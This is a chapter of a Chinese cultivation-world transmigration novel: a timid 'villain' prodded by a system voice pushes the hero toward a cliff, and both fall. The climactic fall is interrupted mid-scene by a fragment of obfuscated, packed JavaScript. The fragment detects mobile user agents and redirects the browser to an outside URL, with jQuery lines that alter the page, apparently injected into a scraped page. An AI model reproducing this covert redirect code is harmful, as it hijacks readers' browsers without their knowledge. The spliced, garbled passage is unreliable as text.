3. 好烫

“又折腾你,又离不开你。”


琢磨了片刻,揶揄道,“该不会是喜欢你吧?”


谢争流的动作一顿,眉眼间的情绪晦涩不明。


手指不经意间屈起,像是在无形中抓住了一团融化了的雪。


湿滑,细腻。


又很快从指尖流走。


“是谁?”


谢争流的手指松开,那点触感荡然无存,答非所问:“不可能。”


嗓音没有一点波澜。


没有人会喜欢现在的他。


狼狈,卑微。


就像是一只丧家之犬。


灰衣弟子心中好奇,见他不肯说,转移了话题:“你身上的伤还没好,明日不如先别去后山采药了。”


长生宗乃天下第一宗门。


门下弟子浩渺如鱼虾,像他们这种没有背景的,光凭每个月发放的灵石灵液,远远不够修行,只能靠自己去想办法。


勤务堂每旬都会发放一些任务,完成获得贡献点,可兑换修行上的必需品。


其中贡献点最多的,就是上后山采集灵草。


不过这项任务并不简单。


后山除了灵草,还蛰伏着一些凶兽,危险与机遇并存,一个不慎葬身兽腹都有可能。


若非是真的缺钱,不会有人选这个搏命的活。


谢争流连犹豫一下都没有:“去。”


他要向上爬。


就算是粉身碎骨。


……


上后山的路每旬月开放一次。


准备上山采药的人站在路口等着,有认识的互相攀谈吹捧,往日僻静的小路也变得热闹起来。


谢争流不喜热闹。


便一个人站在角落,低着头,咬着绷带缠绕上右手腕,一圈又一圈。


突地。


不远处传来了一阵骚动。


“怎么来了……”


“听说是被大师兄罚来的。欺辱同门弟子,受罚上山采药做苦力。”


最后一圈绑带缠完,在小臂处打了个紧紧的结。


谢争流抬起头。


措不及防,少年的身影撞入了漆黑的眼瞳中。


白皙,漂亮。


像是用雪堆成的,一揉就碎在指尖。


……


“小师叔。”


“小师叔……”


面对热情的招呼,雪稚格外不适应,目光闪躲,挪动着脚步从一边走过,假装没听见。


心中默念。


不要看我,不要看我,不要……


可事与愿违。


越是想躲着,就越是容易引人注意。一道锐利的目光停留在了他的背后,似在打量。


雪稚脖颈紧绷着,一动也不敢动。只低低垂着头,一缕额发慌乱地摇动着。


嘴唇轻轻翕动,咬出了一道湿红。


清楚的意识到这道目光从何而来,雪稚有点想哭。


谢争流怎么会在这里?


【因为他是主角】


……好吧。


【你别这么害怕,拿出反派的气势】


雪稚鼓起勇气。


又很快歇了。


看过来的眼神,好奇怪。


格外的认真。


就像是一把锐利的剑,一刀划破层层遮挡,要将每一块皮肉都看得清清楚楚。


是那种难以言喻的奇怪,凉飕飕的。


让人止不住地发抖。


【别担心】


【他这是仇恨的目光】


雪稚:“……”


呜。


听了更加害怕了。


好在那道目光很快就收走了,只在后颈处留下了一点湿冷的触感。


雪稚缩了缩脖子。


谢争流看他的时候,他害怕。


等不看了,他又忍不住心中的好奇,转头看了过去。


谢争流同样站在人群的边缘处,一身黑色短打利落,小臂的线条流畅而不夸张,稍稍用力,就能瞧见一条条青筋游走。


看得雪稚呆住了。


【怎么】


雪稚回神,小小声说:“他打人一定很痛。”


【?】


雪稚认真地说:“手臂很粗。”顿了顿,“看起来就很硬。”


【……不是这么形容的】


雪稚茫然:“啊?”


这时,前方传来“咚”得一声。


上山的路终于解禁了。


雪稚还没明白到底该怎么形容,就被人流裹挟着,不由自主地朝着山上走去。


山林茂密,郁郁葱葱。


昨夜下了一场雨,山壁被洗得湿滑。


地上泥泞,刚走了几步,衣角就沾上了一点脏污。


雪稚走得小心翼翼的,格外认真。


大约是走得太慢了,等回过神来,四周已经没多少人影了。


山间鸟雀啼鸣,空灵清脆。


雪稚胆子小,疑神疑鬼的,风声吹来呼呼作响,听起来都觉得阴森可怕。


遇到困难,他就想放弃。


可是回过头,来时路早就已经找不见了。树影晃动,让人联想到鬼影森森,吓得他慌不择路,埋头就跑。


雪稚气喘吁吁。穿过茂密的树林,前方豁然开朗,冷冷的风吹来,带着一股泥土的腥气。


这里是一处断崖。


山壁陡峭锋利,云雾沉沉,深不见底。


还没等雪稚松一口气,心又提了起来。他在断崖边看见了一道熟悉的身影。


谢争流正在采药。


一株灵草生长在了断崖边,叶碧且长,犹如灵蛇吐信,伸出一点猩红的花蕊。


凌空探出手去,半截身子悬空,摇摇欲坠,险而又险。


光是看着,就腿软得不行。


偏偏这时候,系统还要发布任务。


【把谢争流推下去】


雪稚不可置信,以为是听错了。


【没听错,我让你把他推下去】


雪稚看了一眼陡峭险峻的悬崖,咽了咽口水,心口砰砰作响。


推下去……会死的吧。


【不会】


雪稚只是笨,不是傻。


一个劲地摇头,怎么都不肯做。


【你这是在帮他】


雪稚半信半疑。


【他从悬崖掉下去不会死,反而会得到机缘,一飞冲天】


【所以,你不是在害他,是在帮他】


雪稚听不太懂,绕来绕去,发出了疑问:“所以,我是在做好事?”


【……是】


雪稚勉强接受了这个说法,可还是有些放不开,磨磨蹭蹭地走上前去。


【快点】


雪稚:“……”


他怕高。


但是又怕被说没用,没敢说,直接埋头朝着谢争流所在的地方用力伸手推去。


——推了个空。


悬崖边的石子松动,骨碌碌往下滚,跌落到下面,久久都没有回声。


小心翼翼地掀开一条缝隙,谢争流一个鹞子翻身,从悬崖边上采了药,稳稳地站住。回过头,两人正好撞在了一起。


雪稚本就心虚,一个没收住力,脚下踩着的地方松动,踉跄了一步,竟直直地往下倒去。


“——”


声音湮灭在风声中,雪稚的双手下意识在空中乱抓,什么都来不及想,一把抓住了救命稻草,死死不肯松手。


可稻草不能救命。


不过持续了两三息时间,便“啪”得一声断了,两个身影滚作一团,接下来的就是下坠,无尽地下坠。


雪稚瞪大了双眼。


风声从耳畔呼啸而过,化作尖利的喘鸣。


失重,下坠。


天空和云雾都化作了一道道的线条,在不停地远去。


一片空白。


唯独声音是鲜明的,


【警告!世界线崩塌8%】


谢争流一手拽着雪稚,一手握住长刃插、入悬崖,企图缓解下坠的趋势。


剑刃与石壁摩擦,发出一连串的火星。


35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201262|165725||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>在稍稍缓解片刻后,卡擦一声,长剑从中折断,两人坠入更深的深渊。


……


雪稚短暂地失去了意识。


迷迷糊糊间,听见滴答滴答的水声。睁开眼,发现自己躺在一处平台上。


这里是悬崖下面的一处凸起。


上方云雾缭绕,下方一片漆黑,连回声都传不出去。


……好痛。


他动了动,身上就传来钻心的疼。


一抬手,手腕手肘都被磕破,青青紫紫的,干涸的血迹淌在白得透明的肤色上,格外刺眼。


雪稚疼得想哭,眼泪啪嗒啪嗒地就往下掉。


【别哭】


听起来有些别扭。


雪稚抹着眼泪。


身上很痛,心里很委屈。


又把事情给搞砸了。


可是他也不想的,他就是胆小没用,他就是什么事都做不好……可是,也不是他想当这个反派的,呜呜……


【没有搞砸】


雪稚哽咽了一下,杏眼湿漉漉的。


【谢争流,被你推下来了】


呃。


虽然过程有些崎岖,但是目的还是达成了。


就问谢争流有没有掉下悬崖吧。


雪稚慢慢地扭过头,后知后觉的发现边上还躺着个人影。


谢争流受得伤比他重,双目紧闭脸色苍白,胸口的起伏微弱。


雪稚哆哆嗦嗦,伸手过去,试探了一下鼻息。


还好。


还活着。


他松了一口气。


【死不了】


雪稚轻轻“哦”了一声,不知道该做什么了。


系统也不知道。


这段……给的剧情里也没有。


原著里,应该是谢争流一个人掉下山崖,在半山腰的山洞里得到了传承。也没说反派也会跟着一起往下掉。


系统在疯狂的运算,得出了一个结果:【……等他醒了再说】


雪稚乖乖地收回了手,坐了下来。


时间一点点过去。


天色逐渐暗了下来。


悬崖下面一片死寂,只有秃鹫盘旋,叫声凄厉,似乎是在催促着准备饱餐一顿。


月光被雾气挡住,越发的黑。


雪稚怕黑,应该说他什么都怕,抱着肩膀几乎蜷缩成一团。


只是这样没用。


悬崖下面还是很冷,很黑。他的胆子很小,一下觉得边上的藤蔓是吊死鬼,一下又幻视爬山虎是蠕动的眼睛。吓得他脸色发白,咬咬牙,朝着谢争流所在的地方缓缓挪动。


谢争流依旧躺在那里,没有要醒来的征兆。


雪稚跌坐在边上,一靠近发觉有点不对劲,碰到的地方很热。


借着微弱的光,雪稚小心翼翼地碰了碰谢争流的脸。


好烫。


炽热的温度直接烫得他一哆嗦。


谢争流发烧了,身上的伤口还在流血,几乎汇成了一个小水洼。


雪稚从没遇到过这种场面,六神无主。


谢争流似乎有所察觉,发出了一声闷哼。死咬着牙关,豆大的汗水止不住地淌。


【他受伤了,按照剧情安排,他应该不会受这么重的伤】


思索了一下,想明白了。


原本的剧情是谢争流一个人掉下悬崖,以他的修为,定然能够安然无恙地落在半山的平台上。


可现在多了一个人就不行了。


雪稚听懂了:“都是被我害得。”


如果不是他,谢争流也不会受这么重的伤。


雪稚很内疚,想要做些什么,一下子摸摸谢争流的额头,一下子又想去按住伤口。


可一样都做不好,还弄得灰头土脸的。


【……】


【他身上应该有伤药】


天太黑了,雪稚什么都看不见,全凭着感觉摸索。


窸窸窣窣,摸来摸去。


也不知道摸到了什么,指尖又是一烫。


……怎么这么硬?